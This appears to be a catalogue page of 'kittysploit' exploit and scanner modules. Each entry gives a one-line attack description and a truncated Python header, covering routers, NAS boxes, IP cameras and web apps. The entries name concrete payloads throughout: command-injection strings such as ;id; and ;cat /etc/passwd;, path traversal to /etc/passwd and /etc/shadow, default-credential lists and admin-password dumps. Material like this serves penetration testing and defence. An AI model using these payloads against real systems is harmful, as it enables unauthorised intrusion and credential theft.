D-Link DNS-320/325 - system_mgr.cgi RCE Detection

Detects D-Link ShareCenter RCE via /cgi-bin/systemmgr.cgi?cmd=cgismstest&command1=id. !/usr/bin/env python3 -- coding: utf-8 -- """D-Link DNS-320/325 systemmgr.cgi command injection.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner,...

Traq - Unauthenticated Plugin Hook RCE Detection

Detects Traq RCE by POSTing a phpinfo plugin hook to admincp/plugins.php?newhook then GETting index.php and matching phpinfo. !/usr/bin/env python3 -- coding: utf-8 -- """Detects Traq RCE by POSTing a phpinfo plugin hook to admincp/plugins.""" import re from kittysploit import from...

Green Packet Router - ajax.cgi Command Injection

Exploits OS command injection in Green Packet /ajax.cgi tagipPing. Opens an interactive execute session. !/usr/bin/env python3 -- coding: utf-8 -- """Green Packet router ajax.cgi RCE — opens execute session.""" import re from urllib.parse import quote from kittysploit import from...

ZYCOO IP Phone - system_cmd.cgi RCE

Exploits ZYCOO /cgi-bin/systemcmd.cgi?cmd= command injection. Opens an interactive execute session. !/usr/bin/env python3 -- coding: utf-8 -- """ZYCOO IP Phone System systemcmd.cgi RCE — opens execute session.""" import re from urllib.parse import quote from kittysploit import from...

Emby Server - swagger-ui Path Traversal Detection

Detects Emby Server =3.2.5 directory traversal via encoded /emby/swagger-ui/../../../../etc/passwd path. !/usr/bin/env python3 -- coding: utf-8 -- """Emby Server swagger-ui path traversal.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanne...

Drupal Coder - coder_upgrade.run.php Exposure Detection

Soft-detects exposed Drupal Coder upgrade script at /sites/all/modules/coder/coderupgrade/scripts/coderupgrade.run.php. !/usr/bin/env python3 -- coding: utf-8 -- """Drupal Coder module coderupgrade.run.php exposure SA-CONTRIB-2016-039.""" from kittysploit import from lib.protocols.http.httpclient...

HiSilicon uc-httpd - Path Traversal Detection

Detects HiSilicon ASIC firmware path traversal by requesting ../../etc/passwd on uc-httpd servers. !/usr/bin/env python3 -- coding: utf-8 -- """HiSilicon uc-httpd path traversal file read.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanne...

Huawei HG659 - /lib/ Path Traversal Detection

Detects directory traversal on Huawei HG659 via GET /lib/....//....//etc/passwd Greenbone Jun 2021 active check. !/usr/bin/env python3 -- coding: utf-8 -- """Huawei HG659 /lib/ path traversal file read.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient clas...

OpenCart - FCKeditor Connector Arbitrary Upload Detection

Detects OpenCart = 1.3.2 FCKeditor connector upload by uploading a marker file. !/usr/bin/env python3 -- coding: utf-8 -- """Detects OpenCart = 1.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info = 'name': 'OpenCart -...

FIBARO Home Center - liliSetDeviceCommand RCE

Exploits command injection in FIBARO /services/liliSetDeviceCommand.php cmd1 parameter. Opens an interactive execute session. !/usr/bin/env python3 -- coding: utf-8 -- """FIBARO Home Center liliSetDeviceCommand.php RCE — opens execute session.""" import re from kittysploit import from...

cPassMan - downloadFile.php File Read

Reads arbitrary files via cPassMan sources/downloadFile.php path traversal. !/usr/bin/env python3 -- coding: utf-8 -- """Reads arbitrary files via cPassMan sources/downloadFile.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient from lib.protocols.http.lfi import Lfi...

tcPbX - tcpbx_lang LFI Detection

Detects tcPbX LFI via Cookie tcpbxlang=../../../../etc/passwd%00 on /tcpbx/. !/usr/bin/env python3 -- coding: utf-8 -- """tcPbX tcpbxlang cookie local file inclusion.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info =...

Seagate BlackArmor NAS 220 - localJob.php Command Injection

Exploits command injection in /backupmgt/localJob.php on Seagate BlackArmor NAS 220 by appending OS commands after session=fail and reading stdout from /backupmgt/. Opens an interactive execute session. !/usr/bin/env python3 -- coding: utf-8 -- """Seagate BlackArmor NAS 220 backupmgt localJob.php...

ApPHP MicroBlog - index.php RCE Detection

Detects ApPHP MicroBlog RCE via index.php?b;phpinfo;echo...=/ style parameter injection. !/usr/bin/env python3 -- coding: utf-8 -- """ApPHP MicroBlog index.php parameter RCE.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info =...

WedgeOS - ssgimages LFI Detection

Detects WedgeOS = 4.0.4 LFI by requesting /ssgmanager/ssgimages?name=../../../../../etc/shadow. !/usr/bin/env python3 -- coding: utf-8 -- """WedgeOS ssgimages local file inclusion.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner,...

BloodHound.py collect

Run bloodhound-python / bloodhound-ce-python against a Domain Controller from Linux or Windows, produce a zip, and merge into the agent attack graph. Default collection=DCOnly LDAP-only, good from Kali. Use All for fuller Session/LocalAdmin fan-out when the network allows. !/usr/bin/env python3 -...

VegaDNS - axfr_get RCE Detection

Detects VegaDNS command injection via /axfrget?domain=;cat+/etc/passwd;. !/usr/bin/env python3 -- coding: utf-8 -- """VegaDNS axfrget command injection.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info = 'name': 'VegaD...

OSSIM - repository/download.php LFI Detection

Detects OSSIM LFI via repository/download.php?file=../../../../etc/passwd. !/usr/bin/env python3 -- coding: utf-8 -- """Detects OSSIM LFI via repository/download.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info =...

FreePBX - Music Upload Filename RCE Detection

Detects FreePBX music module RCE by uploading a file named $id.wav via /admin/ajax.php?module=music&command=upload and matching uid= in the 500 response. !/usr/bin/env python3 -- coding: utf-8 -- """FreePBX music module filename command injection.""" import re from kittysploit import from...

ALCASAR - Host Header RCE Detection

Detects ALCASAR RCE by injecting mailto:...;id; into the Host header on /alcasar/index.php. !/usr/bin/env python3 -- coding: utf-8 -- """ALCASAR Host-header command injection.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient...

Nmap Workspace Integrator

Run nmap or import existing XML and write structured hosts/ports/OS/service versions directly into the active workspace database. XML is captured from stdout via -oX - — no intermediate files needed. !/usr/bin/env python3 -- coding: utf-8 -- """Run nmap and persist hosts/services into the workspa...

Jenkins - Default Credentials Detection

Tries known Jenkins default credentials admin:password, admin:admin, admin:jenkins, jenkins:jenkins against jspringsecuritycheck / jacegisecuritycheck and verifies Dashboard access. !/usr/bin/env python3 -- coding: utf-8 -- """Jenkins default credentials detection admin/password, admin/admin,...

PlantVisor Enhanced - Directory Traversal Detection (CVE-2011-3487)

Detects CVE-2011-3487 via /..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows/win.ini. !/usr/bin/env python3 -- coding: utf-8 -- """Detects CVE-2011-3487 via /.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info = 'name':...

SoftPerfect Bandwidth Manager - Auth Bypass Detection

Detects SoftPerfect Bandwidth Manager auth bypass via Basic AAAA and XML getoptions returning . !/usr/bin/env python3 -- coding: utf-8 -- """SoftPerfect Bandwidth Manager Basic Auth bypass / password disclosure.""" import re from kittysploit import from lib.protocols.http.httpclient import...

DirPHP - phpfile LFI Detection (CVE-2014-5115)

Detects CVE-2014-5115 by requesting index.php?phpfile=/etc/passwd on DirPHP. !/usr/bin/env python3 -- coding: utf-8 -- """DirPHP phpfile local file inclusion CVE-2014-5115.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient:...

Anti-Web - write.cgi File Read (CVE-2017-9097)

Reads arbitrary files via Anti-Web /cgi-bin/write.cgi template= traversal. !/usr/bin/env python3 -- coding: utf-8 -- """Anti-Web write.cgi arbitrary file read CVE-2017-9097.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient from lib.protocols.http.lfi import Lfi clas...

Magento - local.xml Config Disclosure Detection

Detects exposed Magento /app/etc/local.xml containing database username/password. !/usr/bin/env python3 -- coding: utf-8 -- """Magento app/etc/local.xml configuration disclosure.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info ...

GPON Home Router - Diag Form RCE (CVE-2018-10561)

Exploits command injection in GPON diagnostic ping desthost backticks. Command output is retrieved from /diag.html after a short delay. !/usr/bin/env python3 -- coding: utf-8 -- """GPON Home Router diag form RCE CVE-2018-10561/10562 — opens execute session.""" import re import time from kittysplo...

CaupoShop - template LFI Detection (CVE-2011-4832)

Detects CVE-2011-4832 via index.php?action=template&template=../../../../../../../etc/passwd. !/usr/bin/env python3 -- coding: utf-8 -- """Detects CVE-2011-4832 via index.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: in...

AWStats Totals - sort Parameter RCE Detection (CVE-2008-3922)

Detects CVE-2008-3922 by requesting awstatstotals.php?sort=.phpinfo.exit.$a and matching phpinfo output. !/usr/bin/env python3 -- coding: utf-8 -- """Detects CVE-2008-3922 by requesting awstatstotals.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class...

HUMAX Gateway - Backup Download Detection (CVE-2017-7315)

Detects CVE-2017-7315 by requesting /view/basic/GatewaySettings.bin without authentication and matching download headers. !/usr/bin/env python3 -- coding: utf-8 -- """HUMAX GatewaySettings.bin unauthenticated download CVE-2017-7315.""" from kittysploit import from lib.protocols.http.httpclient...

NETGEAR DGND3700v2 - Unauth Password Recovery Dump

Retrieves admin username/password from /setup.cgi?nextfile=passwordrecovered.htm on NETGEAR DGND3700v2 PSV-2021-0343. !/usr/bin/env python3 -- coding: utf-8 -- """Dump NETGEAR DGND3700v2 admin credentials via password recovery page.""" import re from kittysploit import from...

Hikvision IP Camera - webLanguage RCE Detection (CVE-2021-36260)

Hikvision IP cameras accept unauthenticated PUT /SDK/webLanguage with a command injection in the XML field, writing output under webLib CVE-2021-36260 / HSRC-202109-01, CISA KEV. !/usr/bin/env python3 -- coding: utf-8 -- """Hikvision IP camera command injection via /SDK/webLanguage...

ZeroShell - kerbynet LFI Detection

Detects ZeroShell 2.0RC2 LFI via /cgi-bin/kerbynet?Section=NoAuthREQ&Action=Render&Object=../../../etc/passwd. !/usr/bin/env python3 -- coding: utf-8 -- """ZeroShell kerbynet local file inclusion / command chain.""" import re from kittysploit import from lib.protocols.http.httpclient import...

AMSI - download.php Path Traversal Detection

Detects AMSI download.php?file= path traversal to /etc/passwd requires amsiweb/amsimoodle markers. !/usr/bin/env python3 -- coding: utf-8 -- """AMSI download.php path traversal.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner,...

Elastix - graph.php LFI Detection

Detects Elastix vtigercrm/graph.php currentlanguage LFI to /etc/passwd. !/usr/bin/env python3 -- coding: utf-8 -- """Elastix vtigercrm graph.php LFI.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info = 'name': 'Elastix ...

distcc - Remote Command Execution Detection (CVE-2004-2687)

Detects CVE-2004-2687 by sending a crafted DIST protocol ARGV request that executes id via sh -c. !/usr/bin/env python3 -- coding: utf-8 -- """distcc remote command execution CVE-2004-2687.""" import re import socket from kittysploit import from lib.protocols.tcp.tcpscannerclient import...

PrestaShop Mega Menu - ajax_phpcode.php RCE Detection (CVE-2018-8823)

Detects CVE-2018-8823 by executing id via /modules/bamegamenu/ajaxphpcode.php?code=echo%20execid; !/usr/bin/env python3 -- coding: utf-8 -- """PrestaShop Responsive Mega Menu ajaxphpcode.php RCE CVE-2018-8823.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclie...

CasaOS - Arbitrary File Read via users/image (CVE-2024-24765)

CasaOS-UserService 0.4.7 insufficiently filters the path parameter of /v1/users/image, allowing unauthenticated arbitrary file read e.g. user.db /etc/passwd — CVE-2024-24765. !/usr/bin/env python3 -- coding: utf-8 -- """CasaOS-UserService arbitrary file read via /v1/users/image CVE-2024-24765."""...

FXC Router - Default Credentials (admin/admin)

Detects FXC and related router web UIs accepting default credentials admin:admin via /cgi-bin/login.apply or /cgi/login.cgi. !/usr/bin/env python3 -- coding: utf-8 -- """FXC router HTTP default credentials admin:admin.""" import time from datetime import datetime, timezone from kittysploit import...

phpThumb - fltr Command Injection Detection (CVE-2010-1598)

Detects CVE-2010-1598 by injecting ;id; into phpThumb.php fltr=blur|... !/usr/bin/env python3 -- coding: utf-8 -- """phpThumb fltr command injection CVE-2010-1598.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info =...

AlienVault OSSIM - av-centerd SOAP RCE Detection (CVE-2014-3804)

Detects CVE-2014-3804 by POSTing updatesysteminfodebianpackage SOAP with injected ;id to av-centerd default port 40007. !/usr/bin/env python3 -- coding: utf-8 -- """AlienVault OSSIM av-centerd SOAP RCE CVE-2014-3804.""" import re from kittysploit import from lib.protocols.http.httpclient import...

D-Link DAP-2020 - webproc File Read Detection (CVE-2021-27250)

Detects CVE-2021-27250 by POSTing to /cgi-bin/webproc with errorpage=/etc/passwd and looking for passwd contents in the response. !/usr/bin/env python3 -- coding: utf-8 -- """D-Link DAP-2020 webproc errorpage path traversal CVE-2021-27250.""" import re from kittysploit import from...

Spring Cloud Function - routing-expression Detection (CVE-2022-22963)

Probes Spring Cloud Function endpoints for acceptance of the spring.cloud.function.routing-expression header CVE-2022-22963. Uses a non-destructive SpEL expression; confirmation of RCE requires the companion exploit with a reverse payload. !/usr/bin/env python3 -- coding: utf-8 -- """Spring Cloud...

TikiWiki - jhot.php Upload Detection (CVE-2006-4602)

Detects CVE-2006-4602 by uploading a PHP file via /jhot.php and verifying phpinfo under /img/wiki/. !/usr/bin/env python3 -- coding: utf-8 -- """TikiWiki jhot.php arbitrary PHP upload CVE-2006-4602.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanne...

Play Framework - public Path Traversal File Read

Reads arbitrary files via Play Framework /public/..%2f traversal. !/usr/bin/env python3 -- coding: utf-8 -- """Reads arbitrary files via Play Framework /public/.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient from lib.protocols.http.lfi import Lfi class...

Basilic - diff.php RCE Detection

Detects Basilic = 1.5.14 RCE via /Config/diff.php?file=;id&new=1&old=2. !/usr/bin/env python3 -- coding: utf-8 -- """Basilic Config/diff.php command injection.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info = 'name':...

NETGEAR DGN - setup.cgi syscmd RCE (CVE-2024-12847)

Exploits unauthenticated setup.cgi?todo=syscmd command injection. Opens an interactive execute session. !/usr/bin/env python3 -- coding: utf-8 -- """NETGEAR DGN setup.cgi syscmd RCE CVE-2024-12847 — opens execute session.""" import re from urllib.parse import quote from kittysploit import from...

Symantec Web Gateway - pbcontrol.php RCE Detection (CVE-2012-2953)

Detects CVE-2012-2953 by requesting /spywall/pbcontrol.php?filename=...;id;... !/usr/bin/env python3 -- coding: utf-8 -- """Symantec Web Gateway pbcontrol.php RCE CVE-2012-2953.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner,...

PHP Utility Belt - ajax.php RCE

Exploits PHP Utility Belt by evaluating PHP via ajax.php code= parameter. Opens an interactive execute session. !/usr/bin/env python3 -- coding: utf-8 -- """PHP Utility Belt ajax.php RCE — opens execute session.""" import base64 import re from kittysploit import from lib.protocols.http.httpclient...